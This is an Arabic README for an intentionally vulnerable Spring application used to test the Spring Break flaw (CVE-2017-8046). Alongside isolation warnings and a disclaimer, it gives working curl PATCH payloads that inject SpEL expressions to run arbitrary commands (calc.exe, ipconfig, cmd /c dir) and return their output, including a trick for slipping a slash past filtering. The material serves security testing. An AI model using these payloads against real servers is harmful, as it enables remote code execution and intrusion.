
تحذير: هذا تطبيق ضعيف لاختبار استغلال ثغرة Spring Break (CVE-2017-8046). قم بتشغيله على مسؤوليتك الخاصة!
هذا تطبيق هش لاختبار استغلال ثغرة Spring Break (CVE-2017-8046).
يحتوي هذا التطبيق على ثغرات أمنية خطيرة. قم بتشغيله على مسؤوليتك الخاصة! يُنصح باستخدام بيئة معزولة ومدعومة بنسخة احتياطية (مثل جهاز افتراضي مع لقطة حديثة وشبكة مخصصة للمضيف فقط). لا ترفع هذا التطبيق إلى أي خوادم مواجهة للإنترنت، لأنها ستُخترق.
إخلاء مسؤولية: لا أتحمل أي مسؤولية عن الطريقة التي يستخدم بها أي شخص هذا التطبيق (SpringBreakVulnerableApp). الغرض الوحيد من هذا التطبيق هو أن يكون سيناريو اختبار لاستغلال ثغرة Spring Break ويجب ألا يُستخدم بشكل ضار. إذا تم اختراق خادمك عبر تثبيت SpringBreakVulnerableApp، فإن ذلك ليس مسؤوليتي، بل مسؤولية الشخص (أو الأشخاص) الذين رفعوه وثبّتوه.
يمكن تشغيل التطبيق باستخدام أمر Maven التالي.
mvn spring-boot:run
يمكن إنشاء ملف jar كامل (fat jar) باستخدام أمر Maven التالي.
mvn clean install spring-boot:repackage
لإدراج البيانات يمكنك استخدام أمر curl التالي.
curl -i -X POST -H "Content-Type: application/json" -d '{ "name" : "Test", "attribute" : "foo"}' http://hostname:port/entity
ربما يكون أبسط استغلال هو الطلب التالي.
curl --request PATCH -H "Content-Type: application/json-patch+json" -d '[{ "op" : "replace", "path" : "T(java.lang.Thread).sleep(10000).x", "value" : "pwned" }]' "http://hostname:port/entity/1"
على نظام Windows، يمكن تشغيل عملية calc.exe باستخدام الطلب التالي. يمكن استخدام طلبات مماثلة لتنفيذ أوامر عشوائية.
curl --request PATCH -H "Content-Type: application/json-patch+json" -d '[{ "op" : "replace", "path" : "T(java.lang.Runtime).getRuntime().exec(\"calc.exe\").x", "value" : "pwned" }]' "http://hostname:port/entity/1/"
للحصول على مخرجات الأوامر المُنفذة، يمكن استخدام بعض "gadgets" التي يوفرها كود Spring Framework. لحسن الحظ، لا تتطلب أي تبعيات خارجية. على سبيل المثال، يمكن استرداد نتيجة أمر ipconfig باستخدام الطلب التالي.
curl --request PATCH -H "Content-Type: application/json-patch+json" -d '[{ "op" : "replace", "path" : "T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec(\"ipconfig\").getInputStream(), T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()).x", "value" : "pwned" }]' "http://hostname:port/entity/1/"
على نظام Windows، يمكن تشغيل أمر cmd /c dir وغيره من الأوامر المشابهة باستخدام الطلب التالي. يرجى ملاحظة الحيلة المستخدمة لإدراج حرف الشرطة المائلة مع تجنب القيمة الصريحة (أي يتم استبدال الشرطات المائلة الصريحة بنقاط قبل التحليل الفعلي).
curl --request PATCH -H "Content-Type: application/json-patch+json" -d '[{ "op" : "replace", "path" : "T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec(\"cmd \" + T(java.lang.String).valueOf(T(java.lang.Character).toChars(0x2F)) + \"c dir\").getInputStream(), T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()).x", "value" : "pwned" }]' "http://hostname:port/entity/1/"
يمكن العثور على برنامج Java لاستغلال هذه الثغرة هنا.
هذا المشروع مرخص بموجب رخصة MIT - راجع ملف LICENSE.txt للتفاصيل.